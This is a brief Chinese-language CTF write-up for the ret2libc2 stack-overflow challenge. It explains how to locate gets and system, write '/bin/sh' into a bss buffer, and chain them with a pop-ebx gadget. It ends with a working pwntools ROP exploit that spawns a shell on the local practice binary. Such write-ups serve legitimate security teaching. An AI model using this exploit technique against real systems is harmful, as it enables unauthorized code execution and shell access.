ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec 查看程序保护机制
顺便查看有没有"/bin/sh"字符串,并没有找到
ida,main ,f5,发现 gets 函数(危险函数),顺便查看 gets 函数的地址为0x08048460
shift+f12查找,发现只有system函数,地址为0x08048490,并没有"/bin/sh"的存在
结合 system 函数且找不到字符 "/bin/sh" 可以猜想应该是需要自己写入字符 "/bin/sh"
在bss段中查找可写的东西,发现buf2
通过将 "/bin/sh" 写入buf2,再将buf2的地址作为system的参数传入来获取shell
求偏移量为112
利用 ROPgadget 查找带 ret 的语句,得 ebx 地址为 0x0804843d
payload写法
payload1:根据栈的原理
payload2:根据堆栈平衡
参见 https://www.jianshu.com/p/c4780335b842
一般堆栈平衡适用于连续调用多个函数。
exp(根据payload2)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(["a"*112,gets_plt,pop_ebx,buf2,system_plt,"aaaa",buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
exp 运行